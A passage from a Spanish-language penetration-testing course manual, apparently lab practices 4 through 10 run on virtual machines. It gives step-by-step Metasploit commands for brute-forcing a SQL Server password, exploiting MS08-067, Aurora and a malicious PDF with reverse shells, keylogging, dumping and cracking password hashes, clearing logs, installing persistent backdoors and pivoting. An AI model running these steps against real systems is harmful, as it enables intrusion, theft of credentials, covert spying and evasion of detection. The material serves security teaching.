MSSQL Server, lo investigue por cuenta propia con el fin de mejorar los conocimientos
relacionados con auditorias de sistemas intrusivas del tipo Penetration Testing, ya que
durante la siguiente practica de laboratorio, va a comprometer a SQL Server, en lo
que respecta a violentar la seguridad del motor de bases de datos, y del sistema
operativo que lo contiene..

Ejecución de la práctica de laboratorio 4:

Paso 1: Scanning de Puertos y version del puerto TCP 1433: Si se tiene en cuenta los procesos
de scanning de puertos realizados en laboratorios pasados, se puede observar que el puerto
1433 TCP está en estado Listening (Abierto), esperando conexiones, además si se realiza un
proceso de scanning de puertos a este puerto en especial con la opción -sV de nmap, se puede
apreciar que el servicio y versión que están detrás de ese puerto, son Microsoft SQl Server
2005 SP1. Proceder a realizar el scanning de puertos, según los comandos de la siguiente
imagen. (Importante, ejecutar el comando nmap directamente desde metasploit)

Paso 2: Identificación de vulnerabilidades servicios MSSQL: El siguiente paso es realizar un


proceso de identificación de vulnerabilidades, para el caso vamos a buscar vulnerabilidades en
el login y password del usuario SA (System Administrator) del sistema de bases de datos MS-
SQL SERVER. Para lograr identificar vulnerabilidades en cuanto a credenciales de acceso
débiles, podemos usar el siguiente modulo auxiliar de metasploit llamado
auxiliary/scanner/mssql/mssql_login.

Para poder usar este módulo, se debe realizar de forma secuencial lo siguiente:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 use auxiliary/scanner/mssql/mssql_login
 show options
 set PASS_FILE /pentest/passwords/john/password.lst
 set RHOSTS 192.168.137.28 (Aquí colocas la dirección IP de Servidor Windows)
 set VERBOSE false
 show options
 run

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Como se puede apreciar en las anteriores imágenes, en modulo auxiliar mssql_login, logro
identificar una contraseña débil para el usuario SA (System Administrator), que para el caso,
la contraseña de acceso para el usuario SA es password

Ir más allá: Para complementar este ejercicio, realizar un análisis de vulnerabilidades usando el
Software NESSUS, revisar en los reportes de este software, que se identifican otro tipo de
vulnerabilidades críticas que pueden ser explotadas usando Metasploit Framework.

Paso 2: Identificación de vulnerabilidades servicios HTTP: Con herramientas diversas que


pueden encontrase en la versión de Linux Backtrack, también pueden realizarse procesos de
análisis de vulnerabilidades. Vamos a utilizar el software NETCAT para realizar un simple

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

análisis de vulnerabilidades basado en la huella de identificación de una aplicación. Para poder


usar netcat lanzamos el siguiente comando:

nc 192.168.137.28 80 (Colocar la dirección IP de su sistema Windows Server)

Lugo ejecutamos el siguiente comando:

HEAD / HTTP/1.0

Luego damos sobre enter, y debe de salir un mensaje similar al siguiente:

En la anterior imagen se puede observar perfectamente que el servidor web del equipo
Windows 2003 Server, es IIS 6.0, software que tiene muchísimas vulnerabilidades conocidas y
códigos de explotación para aprovecharse de dichas vulnerabilidades.

Paso 3: Identificación de vulnerabilidades servicios SMB: Con herramientas diversas que


pueden encontrase en la versión de Linux Backtrack y dentro de Metasploit, también pueden
realizarse procesos de análisis de vulnerabilidades. Vamos a utilizar el software NMAP
acompañado (db_nmap dentro de Metasploit) con uno de los script que existen para este
software, con el fin de identificar vulnerabilidades ara el servicio SMB, puerto 445 TCP. Para
poder usar nmap de la forma que lo necesitamos, lanzamos el siguiente comando:

--Comando usado directamente desde nmap:


nmap --script smb-check-vulns.nse -p445 192.168.137.28 (Recordar cambiar la dirección IP
de su Windows Server)

Comando usado desde db_nmap


db_nmap --script smb-check-vulns.nse -p445 192.168.137.132 ((Recordar cambiar la dirección
IP de su Windows Server)
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

En la anterior imagen se puede observar los resultados del comando ejecutado, donde se
puede observar que se identificó una vulnerabilidad en el puerto 445 TCP.

Práctica de laboratorio número 5 "Explotación Básica"


Objetivos: Aprovecharse de las vulnerabilidades encontradas en los pasos y servicios
anteriores, con la configuración y ejecución de Exploits y PAYLOADS del tipos Server
Side

Recursos: VMWARE, Metasploit Framework, Windows Server 2003 y Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 Server están conectados en el mismo segmento de
red, y que hay ping entre ambas máquinas

 Es altamente importante tener conocimientos básicos-medios al respecto de


los servicios de red que se están atacando, para comprender mejor el trabajo
de análisis de seguridad y/o penetration testing realizado.

 Esta práctica tiene como objetivo principal, que el estudiando se vaya


ambientando con la ejecución de exploits dentro de metasploit.

 La vulnerabilidad MS 08-07, aun puede verse en algunos equipos, pero en


casos muy concretos y especiales, tales como equipos XP-Server 2003 recién
formateados, no parchados, sin el firewall activo. Esta explotación no puede
hacerse desde la WAN, porque los routers de los ISP bloquean el tráfico para

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

puertos como el 445,139, etc. El EXPLOIT ms08-07 es altamente utilizado en


las academias para cursos básicos y avanzados de hacking, para poder enseñar
todas las funcionalidades de metasploit.

Ejecución de la práctica de laboratorio 5:

Paso 1: Explotación de vulnerabilidades servicios SMB: Una vez identificada las


vulnerabilidades en diversos servicios de red, procedemos a realizar la respectiva explotación
de algunos de ellos que presentan vulnerabilidades conocidas. Para explotar la vulnerabilidad
identificada con NMAP y con NESSUS descrita como MS08-67, debemos realizar lo siguiente:
(Para el siguiente ejercicio de explotación, tener presente el siguiente esquema:

 Ingresar a metasploit, abriendo la interface msfconsole


 lanzar el comando search netapi
 Seleccionamos el Exploit exploit/windows/smb/ms08_067_netapi, y lo asignamos con
el comando use windows/smb/ms08_067_netapi
 Luego se debe de indicar en la Shell de METASPLOIT la opción show options, para
verificar las opciones del tipo variable que se requiere en este exploit, para poder
explotar la vulnerabilidad. El resultado del comando, debe de ser similar al de la
siguiente imagen:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Por lo anterior, se debe de identificar que se necesita el puerto TCP 445 abierto (Ver
resultados NMAP Anteriores), correspondiente al servicios CIFS/SMB, además que se
necesita la dirección IP del equipo victima asignada.
 Para asignar la dirección IP de la víctima , debemos de ejecutar el siguiente comando:
set RHOST Dirección IP Victima (192.168.119.225 por Ejemplo).
 Luego se debe de ingresar de nuevo el comando show options para verificar que en
efecto el valor de la dirección IP de la víctima fue asignado a la variables RHOST.
 El siguiente paso es verificar cuales son los PAYLOAD que pueden usarse con este
Exploit, para lo cual daremos el siguiente comando: show payloads
 Luego se debe de elegir uno de los PAYLOAD disponibles, para el caso de este ejercicio,
y de las explicaciones presentadas en el Diplomado, vamos a elegir el siguiente
payload:
windows/meterpreter/reverse_tcp
 Para asignar este PAYLOAD a nuestro Exploit, se debe de ejecutar el siguiente
comando: set PAYLOAD windows/meterpreter/reverse_tcp
 Luego la Shell (Consola de METASPLOIT), nos indica que el PAYLOAD se ha cargado.
 Luego debemos de dar el comando show options, para ver las opciones que se
necesita asignar al PAYLOAD elegido.
 El PAYLOAD elegido, necesita la variable LHOST, justo como se muestra en la siguiente
imagen (LHOST=Host Local, de donde se lanzara el Exploit, para el caso es la IP del
equipo Linux Backtrack)

 Para poder asignar el valor de la IP de Backtrack a la variables LHOST, se debe de


ejecutar el siguiente comando: set LHOST Dirección IP Backtrack (Maquina Atacante)
 Se vuelve a ingresar el comando show options, para ver que en efecto la variable
LHOST quedo con la dirección IP de Backtrack Asignada.
 Luego ingresamos el comando show targets, para verificar todos los sistemas
Windows que pueden ser explotados por este Exploit.
 Si hasta aquí todo va bien, no queda más que lanzar el ataque a la maquina victima
(Maquina Con Windows XP Y/O Server 2003 ya que ambas estan vulnerables). Para
lanzar el ataque, solo se debe de ingresar el siguiente comando: exploit
 Luego de que el exploit, se ejecuta el PAYLOAD que hemos elegido, dejándonos en la
Shell de meterpreter de METASPLOIT. Tal y como se puede observar en la siguiente
imagen:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Meterpreter tiene muchas opciones, pero para el caso, vamos a usar la opción que
me permite obtener una shell en el equipo víctima, lo cual podemos lograr
ingresando el siguiente comando en la consola de meterpreter: shell

Nota: Antes de lanzar el comando shell, entrar al equipo víctima, como usuario final, y
verificar por el administrador de tareas cuantos CMD.exe hay ejecutándose, luego
hacer los mismo, pero después de lanzado el comando shell.

 Luego de ejecutado el comando shell, el sistema debe de abrir la shell de


Windows XP y/o Server 2003 de la maquina victima (cmd--shell), justo como se
muestra en la siguiente imagen.

Anotación: si se presenta algún problema con la ejecución de la shell, digita desde la


consola meterpreter el comando getsystem, para escalar privilegios en el sistema
atacado.

 El siguiente paso es crear algunas carpetas en la raíz del disco C: del equipo
víctima, usando el comando mkdir. Luego se debe de ingresar al equipo víctima,
como si fuéramos un usuario normal del equipo, y verificar que en efecto se han
creado las carpetas. (Recordar crear la carpeta dentro del disco C, y no dentro de
system32, para efectos de facilidad en la visualización del directorio creado)

Paso 2: Explotación de vulnerabilidades servicios MSSQL Server: En este segundo paso de


explotación del lado server side, vamos a aprovecharnos de la vulnerabilidad identificada con
la clave débil del usuario SA (System Administrator de SQL Server), la cual es password.
Además que vamos a ir avanzando en los procesos de post-explotación utilizando las
diferentes herramientas que nos ofrece meterpreter.

Para explotar la vulnerabilidad en mención, debemos de hacer lo siguiente: (Para el siguiente


ejercicio de explotación, tener presente el siguiente esquema)

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 realizar desde msfconsole una búsqueda con el comando search mssql


 Luego en los resultados que nos aparece en pantalla, seleccionar el exploit
windows/mssql/mssql_payload
 Asignar al metasploit el uso del exploit en mención con el comando: use
windows/mssql/mssql_payload
 Luego vamos a buscar los PAYLOADS disponibles para este exploit con el comando
show payloads
 Seleccionamos el PAYLOAD windows/meterpreter/bind_tcp
 Luego vamos a dar el comando show options para poder ver las opciones que nos
pide el Exploit y el Payload seleccionado. Las variables a asignar son:

PASSWORD --> aquí ponemos la clave vulnerable, la cual es password


RHOST--> aquí colocamos la IP de la victima
LHOST--> aquí colocamos la IP del atacante (Solo aplica si es reverse-tcp)

Todas los valores a las anteriores variables, se asignan con el comando set

 finalmente cuando todas las variables están asignadas, se ejecuta el comando


exploit
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Jugando con Meterpreter: Teniendo presente que meterpreter tiene muchas funcionalidades,
salimos de la consola de comandos msdos (En caso de estarlo), y desde meterpreter,
comenzamos a usar varios comandos.

Una vez desde meterpreter, lanzar los siguientes comandos:

 Se debe de identificar los procesos del sistema afectado, lo cual podemos lograr
con el comando ps, desde las shell de meterpreter.
 Posteriormente debemos de identificar con que proceso nos pudimos colar en el
sistema victima Windows 2003 Server. Lo cual podemos identificar ejecutando el
comando: getpid, desde las shell de meterpreter. Luego ejecutamos de nuevo el
comando ps e identificamos el nombre del proceso con que ingresamos al sistema
víctima.
 El siguiente paso es colocar en funcionamiento un Keylogger en el equipo víctima,
para poder registrar las pulsaciones del teclado.
 Para lograr que el Keylogger funcione de manera adecuada, se debe de hacer lo
siguiente:

 Abrir en el equipo server 2003 el aplicativo notepad.


 Volver al equipo atacante Backtrack y ejecutar de nuevo el comando ps,
para poder identificar con que ID está el notepad ejecutándose.
 Una vez que se identifique el ID del notepad, debemos de realizar un
proceso de migración del proceso con el cual hemos comprometido el
sistema víctima, al proceso que ejecuta el notepad en el mismo equipo
víctima.
 Lo anterior lo logramos con la ejecución del comando migrate, seguido del
ID identificado del proceso notepad.
 Si sale algún mensaje de error por cuestiones de permisos, entonces
debemos de ejecutar el comando getsystem, para poder escalar privilegios
en la maquina víctima. Luego ejecutar de nuevo el comando migrate,
seguido del respectivo ID, y ya debe de realizar una migración exitosa.
 El siguiente paso es poner el keylogger en funcionamiento, con el siguiente
comando: run keylogrecorder
 Esperar unos segundos, y comenzar a escribir en el notepad de la víctima.
 Luego darle control+c para detener el keylogger
 Finalmente usar el comando cat o nano desde una Shell nueva de Linux,
para visualizar las capturas de teclas, en la ruta indicada por el registro del
keylogger

Anotación: Recordar lanzar el comando cat desde una consola (Teminal) de


comandos diferente a la de metasploit tal y como se muestra en la siguiente
imagen.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Entre otras de las opciones de meterpreter, también se puede registrar capturas


de pantalla de la víctima con el comando screenshot, lo cual se puede lograr con
los siguientes pasos:

Ingresar al equipo víctima, y abrir el notepad y colocar lo siguiente:

Hola, mi número de tarjeta de crédito es: 12376666 y la clave es 123333

 Una vez que escribamos eso, regresamos a la shell de meterprter


(resultado en pasos anteriores de esta práctica) en Backtrack y ejecutamos
el siguiente comando: screenshot
 De inmediato debe de salir en Backtrack, una copia de pantalla de la
víctima, con lo cual el atacante podrá obtener información valiosa, y podrá
espiar a la víctima.

Finalizando esta paso del laboratorio, vamos a obtener todos los hash de los usuarios creados
en el sistema víctima, lo cual podemos hacer con el comando hashdump desde la consola
meterpreter

Luego debemos de colocar estos hash en un archivo de texto para luego proceder a realizar un
proceso de crack de password. Podemos copiar y pegar los hashes en la ruta
/pentest/passwords/john. Una vez allí usamos el editor nano para guardar el archivo, y luego
procedemos a ejecutar el software crackeador de password john the ripper, lo cual podemos
realizar con el siguiente comando: ./john hashwin

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Como se puede apreciar en la imagen, el passwords de Windows Server fue crackeado.

Anotación: Los hash obtenidos también se pueden copiar y pegar en el siguiente sitio
web http://www.md5decrypter.co.uk y allí también pueden ser crackeados.

 Sin embargo lo anterior puede ejecutarse de una mejor forma, y más fácil usando
metasploit, para los cual nos vamos a ayudar de dos módulos auxiliares llamados:

auxiliary/analyze/jtr_crack_fast
post/windows/gather/credentials/credential_collector

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Para poder ejecutar estos dos módulos de forma paralela, se debe de continuar
ejecutando los siguientes pasos:
 desde msfconsole seleccionar el módulo auxiliar:
post/windows/gather/credentials/credential_collector
 El anterior modulo se carga en metasploit con el siguiente comando:
use post/windows/gather/credentials/credential_collector.
 Luego se da el comando show options y se observa que se le debe de indicar alguna de
las sesiones que se tengan activas en el momento, que para el caso deberíamos de
tener dos, una sesión para la explotación de MSSQL y otra la explotación SMB.
 indicar la sesión activa con el siguiente comando: set SESSION 1
 Luego se ejecuta el modulo auxiliar con el comando run

Como se puede observar en el siguiente resultado del comando, se obtienen todos los
hash de los usuarios de Windows.

 Luego se ejecuta el módulo auxiliar de metasploit auxiliary/analyze/jtr_crack_fast, el


cual nos sirve para hacerle crack a todos los passwords de los usuarios del sistema
víctima, que para el caso es Windows Server.
 Por último ejecutamos el módulo auxiliar con el comando run.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Finalmente observamos que el módulos nos obtuvo todas las contraseñas (Darle
paciencia para obtener las contraseñas, ya que se demora un poco)

 Por último debemos de proceder a realizar un borrado de los logs, para evitar procesos
de identificación de actividades, esto minimiza el riesgo de ser detectados. Lo anterior
se logra desde un consola Meterpreter, y ejecutando el siguiente comando:

 Si luego se revisa el log, se podrá ver que los eventos han sido borrados.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Práctica de laboratorio número 6 "Mas Meterpreter"


Objetivos: Conocer y utilizar más funcionalidades de meterpreter a nivel de
explotación y post- explotación.

Recursos: VMWARE, Metasploit Framework, Windows Server 2003, Windows XP SP2


y Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
 Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están atacando, para comprender mejor el trabajo
de análisis de seguridad y/o penetration testing realizado.
 Esta práctica tiene como objetivo principal, que el estudiando se vaya
ambientando con la ejecución de exploits dentro de metasploit, y con la
consola meterpreter

Ejecución de la práctica de laboratorio 6:

Paso 1: Colocar una puerta trasera con meterpreter como servicio (Aquí se usa una conexión
directa-bind): Teniendo presente que meterpreter nos permite hacer muchísimas tareas de
explotación y post-explotación en la maquina víctima, vamos a proceder a dejar a meterpreter
como una puerta trasera en la maquina víctima, para que nos permita conectarnos a la víctima
cada que necesitemos hacerlo, y no dependa la explotación directamente de una
vulnerabilidad conocida, ya que esta puede ser solventada por el administrador de red. Para
lograr esta tarea, se debe de hacer lo siguiente:

 Estar en una consola meterpreter, la cual se lora con la explotación de alguna


vulnerabilidad conocida en la victima.
 Ejecutar el siguiente comando para colocar meterpreter como un servicio en la
máquina víctima, los cual se logra ejecutando el siguiente comando: run metsvc
 Luego debemos de ejecutar el exploit multi/handler, lo cual se logra ejecutando el
siguiente comando: use exploit/multi/handler
 Posteriormente selecciona el siguiente PAYLOAD windows/metsvc_bind_tcp
 Para asignar este PAYLOAD al exploit, se ejecuta el siguiente comando: set PAYLOAD
windows/metsvc_bind_tcp.
 Luego se le asignan las variables al exploit, que para el caso son RHOST y el puerto en
el cual quedo a la escucha el servicio de meterpreter, que para el caso es 31337
 Luego se ejecuta el exploit

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso 2: Colocar una puerta trasera con meterpreter como servicio persistente:
Teniendo presente que meterpreter nos permite hacer muchísimas tareas de
explotación y post-explotación en la maquina víctima, vamos a proceder a dejar un
servicios persistente que este llamando al atacante por un puerto determinado, y cada
tiempo determinado, lo cual se logra realizando lo siguiente:

 ejecutar el siguiente comando: run persistence -A -S -U -i 60 -p 4321 –r


192.168.56.101 (Recordar que aquí se coloca la IP de Backtrack, que será
diferente para cada estudiante)
(Lo que hace el comando anterior, es básicamente lo siguiente: Con la opción -
A se coloca una conexión a la escucha en la máquina del atacante, la opción -S
garantiza que la puerta trasera que colocamos se inicie cada vez que la
maquina victima Windows arranque. Con la opción -i se asigna un intervalo de
tiempo para la conexión de la víctima hacia el atacante, con la opción -p
asignamos un puerto en la máquina del atacante, y la opción -r indica la
dirección IP el atacante donde esta una conexión a la escucha)

Se debe de identificar que se abre una nueva sesión meterpreter.

Práctica de laboratorio número 7 "Explotación Básica" del lado del cliente


Objetivos: Aprender cómo trabajan y se ejecutan los procesos de explotación del lado

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

del cliente (Client Site)

Recursos: VMWARE, Metasploit Framework, Windows XP SP2 y Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
 Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están atacando, para comprender mejor el trabajo
de análisis de seguridad y/o penetration testing realizado.
 Esta práctica tiene como objetivo principal, que el estudiando se vaya
ambientando con la ejecución de exploits dentro de metasploit, y con la
consola meterpreter

Ejecución de la práctica de laboratorio 7:

Paso 1: Explotación de Internet Explorer (Aurora): Comenzando con los procesos de


explotación del lado del cliente, vamos a usar un exploit que se aprovecha de una
vulnerabilidad conocida en Internet explorer, conocida como operación aurora. Para ejecutar
este exploit, debemos de realiza lo siguiente:

 Seleccionar el exploit exploit/windows/browser/ms10_002_aurora


 Asignarlo a la consola con el comando: use
exploit/windows/browser/ms10_002_aurora
 seleccionar un PAYLOAD, para el caso vamos a usar set payload
windows/meterpreter/reverse_tcp
 set URIPATH /
 set LHOST 192.168.33.129
 set LPORT 443
 exploit

Paso 2: Explotación de navegadores con el módulo Browser autopwn: Continuando con los
procesos de explotación del lado, ahora vamos a configurar el exploit llamado use
auxiliary/server/browser_autopwn, el cual se aprovecha de vulnerabilidades conocidas de
varios navegadores. Para ejecutar este exploit, debemos de realiza lo siguiente:

 Seleccionar el exploit auxiliary/server/browser_autopwn


 Asignar este exploit con el comando use Para asignar este exploit, debemos de
ejecutar el siguiente comando: use exploit auxiliary/server/browser_autopwn
 Luego se debe de asignar la variable LHOST y la variable URIPATH.
 Finalmente se le da el comando exploit, y se le envía a la victima la URL del servidor
web que acaba de cargar metasploit.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Anotación: hay que darle un poco de paciencia a la ejecución de este exploit ya que
lanza varios códigos de explotación y al final nos muestra las sesiones que logro abrir
en la máquina víctima.

Práctica de laboratorio número 7 "Explotación en archivos PDF" del lado del cliente
Objetivos: Aprender cómo trabajan y se ejecutan los procesos de explotación del lado
del cliente (Client Side), en lo que respecta a generar archivos PDF con códigos
maliciosos.

Recursos: VMWARE, Metasploit Framework, Windows XP SP2 y Backtrack 5, Adobe


Acrobat 9

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
 Es altamente importante tener conocimientos básicos-medios al respecto de
los servicios de red que se están atacando, para comprender mejor el trabajo
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

de análisis de seguridad y/o penetration testing realizado.


 Esta práctica tiene como objetivo principal, que el estudiando se vaya
ambientando con la ejecución de exploits dentro de metasploit, y con la
consola meterpreter

Paso Numero 1: Realizando explotación del lado cliente "PDF Malicioso": Continuando con
las labores de explotación del lado cliente, el siguiente ejercicio es utilizar un PDF real para
poder infectar con un código malicioso a nuestra víctima.

Para lograr lo anteriores se debe de realizar lo siguiente:

 Ingresar a Linux Backtrack


 Ingresar a Metasploit
 Abrir msfcosole
 Seleccionar el exploit exploit/windows/fileformat/adobe_pdf_embedded_exe

 El siguiente paso es asignarle el PAYLOAD, para el caso vamos a asignarle el payload


windows/shell/reverse_tcp

 Configurar las variables con el comando SET. Las variables a configurar son LHOST e
INFILENAME, (En clase se dan las indicaciones para cada valor de cada variable)
 Ejecutar el comando exploit
 Luego que se ejecuta el exploit, el sistema nos indica en pantalla la ruta del archivo
pdf malicioso que se ha creado, que para el caso se llama evil.pdf

 El siguiente paso es enviar por algún medio el archivo creado a nuestra víctima, para el
caso los vamos a publicar en el servidor web apache de nuestro Linux Backtrack.
(Recordar mover el archivo evil.pdf a la carpeta de apache /var/www)

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Anotación: Sin embargo antes de que el archivo sea abierto en el equipo víctima
debemos de colocar el Linux Backtrack un Handler a la escucha.

Para colocar el handler a la espera de la conexión que se genera una vez el cliente (Victima)
abra el archivo pdf, se debe de realizar lo siguiente:

 Seleccionar el exploit llamado exploit/multi/handler


 Asignar como PAYLOAD windows/shell/reverse_tcp
 Asignar la variable LHOST (Que será la IP de Linux Backtrack)

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Ejecutar el exploit con el comando exploit -j


 En la maquina victima abrir el pdf y guardarlo en el escritorios o en la carpeta mis
documentos.
 Si el exploit se ejecuta de forma satisfactoria, debe de salir algo similar a la siguiente
pantalla:

OJO CON EL TEMA DE INGENIERIA SOCIAL ES VITAL PARA ESTA PRACTICA DE


LABORATORIO!!

Práctica de laboratorio número 9 "Atacando otros sistemas operativos"


Objetivos: Complementar los procesos de explotación del lado Server Side, atacando
otros sistemas operativos como Linux Ubuntu y Windows Server 2008.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Recursos: VMWARE, Metasploit Framework, Windows Server 2008, Linux


Metasploitable y Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Metasploitable y Windows 2008 tengan ping desde linux Backtrack y que
están conectados en el mismo segmento de red, y que hay ping entre ambas
maquinas.

Paso Numero 1: Realizando explotación de Linux Ubuntu (Metasploitable): Continuando con


las labores de explotación, procederemos a explotar el sistema operativo Linux Ubuntu, para lo
cual debemos de seguir los siguientes pasos:

 Seleccionar con el comando use de metasploit el siguiente exploit:

exploit/unix/irc/unreal_ircd_3281_backdoor

 Luego asignamos a la variable RHOST la dirección IP de nuestro Linux Metasploitable

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 el siguiente paso es ejecutar el exploit.

Paso Numero 2: Realizando explotación de Linux Ubuntu (Metasploitable): Continuando con


las labores de explotación, procederemos a explotar una segunda vulnerabilidad en el sistema
operativo Linux Ubuntu, para lo cual debemos de seguir los siguientes pasos:

Nota: En el reporte de vulnerabilidades que importamos de Nessus a nuestra base de datos,


debe de existir una vulnerabilidad de password débil asociada al servicio VNC:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Para explotar dicha vulnerabilidad, lo único que debemos de hacer es invocar al cliente vnc
que se encuentra dentro de Linux Backtrack, lo cual podemos hacer con el siguiente comando
desde linux backtrack:

vncviewer

Luego se los pedirá el password, el cual ya hemos identificado en la vulnerabilidad


anteriormente mencionada, y luego obtenemos acceso al sistema.

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Paso Numero 3: Realizando explotación a Windows 2008 Server: Continuando con las labores
de explotación, procederemos esta vez a explotar a Windows 2008 server. Para fines de este
paso del laboratorio, ejecutaremos dos procesos de explotación, uno de ellos usando módulos
auxiliares para denegación de servicios, y otro para obtener una shell meterpreter en el
servidor.

Para ejecutar las labores de negación de servicios usaremos el siguiente módulo auxiliar:

 auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
 Luego de seleccionarlo con la variable use, le asignamos la variable RHOST, que para el
caso sería la dirección IP de Windows 2008 Server.

Para ejecutar las labores de explotación de servicios, aprovechando la vulnerabilidad MS09-


050: Microsoft Windows SMB2 _Smb2ValidateProviderCallback, se debe de ejecutar lo
siguiente:

 Selecciona con la variable use el exploit llamado:


exploit/windows/smb/ms09_050_smb2_negotiate_func_index

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

 Luego selecciona el PAYLOAD windows/meterpreter/reverse_tcp, y se debe de asignar


las variables RHOST, LHOST y LPORT respetivamente.

 Luego se ejecuta el exploit con el comando exploit (tener un poco de paciencia, ya que
el exploit se demora algunos segundos en ejecutarse)

Práctica de laboratorio número 10 "Pivoting"


Objetivos: Aprender cómo se realiza el proceso de pivoting entre dos subredes

Recursos: VMWARE, Metasploit Framework, Windows Server Windows XP SP2 y


© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Backtrack 5

Observaciones:
 Antes de proceder a realizar la práctica, verificar que las maquinas Linux
Backtrack y Windows 2003 y XP, están conectados en el mismo segmento de
red, y que hay ping entre ambas maquinas.
 Esta práctica debe de hacerse desde dos maquinas físicas, 4 maquinas
virtuales

Anotación general de la práctica 8:

Para la siguiente práctica, se debe de tener presente el siguiente escenario:

Nota: Tener presente que en el esquema anterior los puntos rojos representan dos tarjetas de
red en el servidor Windows 2003, cada una de ellas debe de esta configurada con diferentes
subredes (Segmentos de red). La que está conectada al segmento de red que está en bridge,
esta suministrada directamente por el servidor DHCP de la maquina local. Y la otra tarjeta
podemos asignarle una dirección IP como la 10.0.0.1 mascara 255.255.255.0. Tener presente
primero prender el Windows server y renombrar la tarjeta de red actual como WAN, y la otra
que se va a crear, se renombra como LAN.

Es altamente importante ensayar que el si se presente ping entre los diferentes segmentos
de red antes de comenzar la práctica.

Pasos para ejecutar la práctica:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

Los pasos que se deben de realizar paso para poder lograr el proceso de pivoting en la
maquina victima (Windows XP Victima final) es el siguiente:

1) Lo primero es configurar las tarjetas de red para el laboratorio, las cuales se configuran de la
siguiente manera:

Windows Server: debe de tener dos tarjetas de red una conectada en modo bridge, y la
segunda la vamos a conectar en modo VMNET2. Justo como se puede apreciar en la siguiente
imagen.

Recordar que la que está en bridge, obtiene DHCP por medio de la red LAN, y la que está en
VMNET2 se le configura manualmente una 10.0.0.1/24.

Luego se configura la maquina Windows XP y la tarjeta de red también la colocamos como


VMNET2, y asignamos otra Dirección IP del mismo rango que en Windows server, la cual
puede ser 10.0.0.11/24. Tener presente colocarle en la configuración de la tarjeta de red de
Windows XP como servidor DNS y puerta de enlace la dirección IP de Windows Server.

2) Una vez configuradas las tarjetas de red, el siguiente paso es integrar a Windows XP al
dominio que se encuentra en Windows Server 2003.

3) El tercer paso es vulnerar a Windows Server por su tarjeta de red configurada en modo
Bridge. Lo anterior se hace desde Linux BT5. Recordar que BT5 debe de estar configurado
también en modo Bridge, y por el segmento de red de Windows Server. Se recomienda usar un
exploit al cual sea vulnerable, y en el PAYLOAD usar Windows Meterpreter Reverse TCP.

4) El cuarto paso es averiguar cuantas tarjetas de red tiene el equipo víctima, y la configuración
de estas. Si todo va hasta aquí bien, se deben de identificar 2 tarjetas de red.

Adicionalmente desde meterpreter se puede lanzar el comando run arp_scanner –r


10.0.0.0/24.

Con el anterior comando se puede identificar otros host conectados al segmento de red
alterno del servidor 2003.

5) Salir de meterpreter con el comando background para proceder a agregar una ruta a
nuestra maquina, lo cual hacemos con el siguiente comando:

© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training

route add 10.0.0.0 255.255.255.0 1 (ojo el ultimo 1 pertenece a la sesión que se abrió con
Meterpreter)

Luego damos el comando route print para ver la ruta.

Si se presentan problemas con adicionar la ruta, se puede optar por los siguientes comandos:

run autorun –h y luego


run autoroute –s 10.0.0.0/24
O también puede usarse el modulo auxiliar llamado post/windows/manage/autoroute.
Este nos va a solicitar la sesión abierta y la subred a la cual queremos enrutarnos

6) Una vez que se tiene la ruta, el siguiente paso es sacar los Hash de los usuarios del dominio
llamado METASPLOIT. Lo anterior ya se vio en prácticas de laboratorio pasadas.

7) El siguiente paso es buscar host activos en la red, para lo cua podemos hacer uso del
modulo auxiliar de Metasploit llamado: auxiliary/scanner/portscan/tcp. Este módulo nos pide
los puertos, que para el caso vamos a darle 80,135,139,445, y nos pide la víctima, que para el
caso solo vamos a comenzar el Scanning desde la IP 10.0.0.1 hasta la 10.0.0.15. Luego le
damos run, y si todo va bien, debemos de ver la IP 10.0.0.11, perteneciente a Windows XP, con
